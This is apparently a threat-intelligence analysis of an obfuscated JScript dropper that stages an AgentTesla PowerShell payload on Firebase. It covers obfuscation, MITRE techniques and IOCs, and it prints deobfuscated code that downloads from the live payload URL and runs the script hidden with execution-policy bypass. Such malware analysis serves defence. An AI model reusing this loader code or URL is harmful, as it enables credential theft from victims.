AgentTesla Hides in Plain Sight: JScript Dropper Abuses Firebase for Payload Staging

This sample is a heavily obfuscated JScript/JavaScript dropper (WSH-compatible) that serves as the initial stage of an AgentTesla credential-stealing campaign. Upon execution via Windows Script Host (wscript.exe), the script downloads a second-stage PowerShell payload from a Firebase Storage bucket (newmarch-a5a44.firebasestorage.app), drops it to C:\Temp\ under a randomly generated filename, and launches it with execution-policy bypass flags. The script employs sophisticated obfuscation including string array indirection, index-offset arithmetic, control-flow flattening, and an embedded ReDoS anti-debugging pattern. The use of legitimate Google Firebase infrastructure for payload staging is a textbook living-off-the-land network technique designed to evade domain-reputation and proxy controls. VirusTotal detection stands at 14/76 as of first submission, with Fortinet classifying it specifically as JS/Formbook.ADXY!tr.dldr.

Sample Metadata

Field	Value
SHA256	54486b9aa0838dabeeedde892feb01d3ebb4fe2fb51135c000f066e2039787db
MD5	66fe9a16f2c5f0fc526e524b42757b0f
SHA1	778e6bed2e65f8294da30ba8ed50361da4c57a8c
Filename	66fe9a16f2c5f0fc526e524b42757b0f.js
File Type	text/plain; JScript (WSH-compatible JavaScript)
File Size	26,362 bytes
VT Detections	14 / 76 (as of 2026-03-12)
First Seen	2026-03-12 15:48:44 UTC
Reporter	abuse_ch
Tags	AgentTesla, js

Static Analysis

File Structure

The sample is a single-line, heavily obfuscated JScript file with no line terminators. It is compatible with Windows Script Host (wscript.exe / cscript.exe) and uses the legacy WSH ActiveX COM model.

Obfuscation Techniques

Technique	Description
String Array Obfuscation	All 365 string literals stored in central n() function returning array XX[]
Index Arithmetic	String lookup function p(V,E) uses V - 0x172 as index into the string array
Multiple Lookup Functions	~50 aliased string-lookup variants (ES, EW, EK, Ej, Eg, etc.) all pointing to p()
Control Flow Flattening	Switch-case state machines with randomized case ordering (e.g., '6|1|2|3|0', '4|2|0|3|5')
IIFE Wrappers	Multiple self-invoking anonymous function closures
Anti-Debugging (ReDoS)	Embeds RegEx pattern (((.+)+)+ — a known ReDoS canary used to detect debugger slow-down
Function Name Obfuscation	All identifiers use 1-2 character non-descriptive names
Dead Code / Junk	Spurious branching and unused variables interspersed throughout

Reconstructed Logic (Deobfuscated)

After peeling back the obfuscation layers, the dropper's actual logic is straightforward:

// === Stage 1: Configuration ===
var SOURCE_URL  = "https://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04";
var WORKING_PATH = "C:\\Temp\\";
var RETRY_LIMIT  = 2;  // 0x2

// === Stage 2: Object Instantiation ===
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");     // HTTP download
var wshell  = new ActiveXObject("WScript.Shell");       // Command execution
var fso     = new ActiveXObject("Scripting.FileSystemObject"); // File I/O

// === Stage 3: Anti-Analysis Check ===
// Uses RegEx ReDoS pattern to detect debugging environment

// === Stage 4: Download & Drop ===
function downloadAndRun(url) {
    var filename = Math.random().toString(36).substring(2, 10) + ".ps1";
    var fullPath = WORKING_PATH + filename;

    xmlhttp.open("GET", url, false);
    xmlhttp.send();

    if (xmlhttp.status == 200) {
        if (!fso.FolderExists(WORKING_PATH)) {
            fso.CreateFolder(WORKING_PATH);
        }
        var outFile = fso.CreateTextFile(fullPath, true);
        outFile.Write(xmlhttp.responseText);
        outFile.Close();

        // === Stage 5: Execute with PowerShell bypass ===
        var cmd = ["powershell.exe", "-nop", "-ep", "bypass", "-file", '"' + fullPath + '"'].join(" ");
        wshell.Run(cmd, 0, true);   // windowStyle=0 (hidden), bWaitOnReturn=true
        return true;
    }
    return false;
}

Key String Fragments from the Obfuscation Array

Index	Value	Purpose
4	MSXML2.XM	XMLHTTP COM class prefix
108	WScript.S	WScript.Shell COM class prefix
74	Scripting	FileSystemObject COM class prefix
150	https://firebasestorage.googleapis.com/...	C2 download URL
66	-nop	PowerShell NoProfile flag
176	bypass	ExecutionPolicy bypass
277	-file	PowerShell -File parameter
97	Run	WScript.Shell.Run method
77	(((.+)+)+	ReDoS anti-debug pattern
178	C:\Temp\	Drop directory
327	CreateFol	CreateFolder method fragment

Behavioral Analysis

Execution Chain

Email/Web → Victim opens .js → wscript.exe executes JScript
    → Anti-analysis check (ReDoS debugger detection)
    → MSXML2.XMLHTTP GET → Firebase Storage (HTTPS)
    → Write C:\Temp\<random>.ps1
    → WScript.Shell.Run(powershell.exe -nop -ep bypass -file C:\Temp\<random>.ps1, 0, true)
    → AgentTesla/Formbook payload executes
    → Credential theft / keylogging / exfiltration

Persistence and Evasion

• Runs PowerShell window hidden (windowStyle=0)
• Bypasses PowerShell execution policy (-ep bypass)
• Uses Math.random().toString(36) for randomized PS1 filename to evade static filename IOCs
• Leverages legitimate Google/Firebase CDN for payload hosting (bypasses URL reputation)
• Single-line, no whitespace — evades pattern-based signature engines

Network Indicators

Type	Indicator	Notes
URL	https://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04	Second-stage PS1 download
Domain	firebasestorage.googleapis.com	Google Firebase (shared infrastructure)
Firebase Project	newmarch-a5a44	Attacker-controlled Firebase project
Storage Bucket	newmarch-a5a44.firebasestorage.app	Payload hosting bucket
Payload Filename	SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1	Second-stage PowerShell
Auth Token	0a670e28-7885-4a73-9e48-3f22043f8f04	Firebase access token
Protocol	HTTPS / TLS	Port 443

MITRE ATT&CK TTPs

Technique ID	Name	Details
T1566.001	Phishing: Spearphishing Attachment	Likely delivered via malicious email attachment (.js file)
T1059.007	Command and Scripting Interpreter: JavaScript	JScript executed via Windows Script Host
T1059.001	Command and Scripting Interpreter: PowerShell	Second-stage PS1 executed with bypass
T1105	Ingress Tool Transfer	Downloads PS1 payload from Firebase
T1027	Obfuscated Files or Information	365-entry string array with index arithmetic
T1027.010	Obfuscated Files or Information: Command Obfuscation	PowerShell flags obfuscated in string table
T1140	Deobfuscate/Decode Files or Information	Runtime string reconstruction
T1562.001	Impair Defenses: Disable or Modify Tools	-ep bypass disables PowerShell execution policy
T1036	Masquerading	Uses legitimate Google Firebase cloud storage as C2
T1071.001	Application Layer Protocol: Web Protocols	HTTPS for C2/payload delivery
T1102	Web Service	Abuses Firebase (Google Cloud) as staging infrastructure
T1564.003	Hide Artifacts: Hidden Window	PowerShell runs with windowStyle=0 (hidden)
T1497	Virtualization/Sandbox Evasion	ReDoS anti-debugging technique

IOCs

File Indicators

Type	Value	Description
SHA256	54486b9aa0838dabeeedde892feb01d3ebb4fe2fb51135c000f066e2039787db	JScript dropper
MD5	66fe9a16f2c5f0fc526e524b42757b0f	JScript dropper
SHA1	778e6bed2e65f8294da30ba8ed50361da4c57a8c	JScript dropper
File path	C:\Temp\[a-z0-9]{8}\.ps1	Dropped PowerShell payload

Network Indicators

Type	Value	Description
URL	https://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04	Payload download URL
Domain	firebasestorage.googleapis.com	Payload hosting (shared)
Firebase Project	newmarch-a5a44	Attacker-controlled project
Auth Token	0a670e28-7885-4a73-9e48-3f22043f8f04	Firebase storage access token

Behavioral Indicators

Type	Value	Description
Process	wscript.exe → powershell.exe	Parent-child process chain
PowerShell flags	-nop -ep bypass -file	Execution policy bypass pattern
Directory creation	C:\Temp\	Drop directory

Campaign Context and Attribution

Malware Family: AgentTesla (confirmed by abuse_ch tags, Fortinet detection JS/Formbook.ADXY!tr.dldr, Rising Trojan.PSRunner/JS).

Attack Vector: Likely phishing email with .js attachment, the most common AgentTesla delivery vector.

Infrastructure: The attacker created Firebase project newmarch-a5a44 specifically for payload staging. This reflects a growing trend in commodity malware campaigns to abuse free cloud storage services -- Firebase, Dropbox, OneDrive, Pastebin -- to bypass URL filtering and domain reputation controls. Because firebasestorage.googleapis.com is a Google-owned domain trusted by most enterprise proxies, the malicious download blends in with legitimate traffic.

Payload: The second-stage SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1 is consistent with AgentTesla PS1 loaders that typically download and execute the final .NET AgentTesla binary. The end-stage payload performs keylogging, screenshot capture, credential theft from browsers and email clients, and exfiltrates stolen data via SMTP or FTP.

Attribution: No specific threat actor attributed. The campaign is consistent with commodity cybercrime -- AgentTesla is widely available as Malware-as-a-Service (MaaS).

Obfuscation Tooling: The obfuscation pattern (string array + index arithmetic + IIFE wrappers) is characteristic of obfuscator.io or similar JavaScript obfuscation services commonly used in JS dropper campaigns.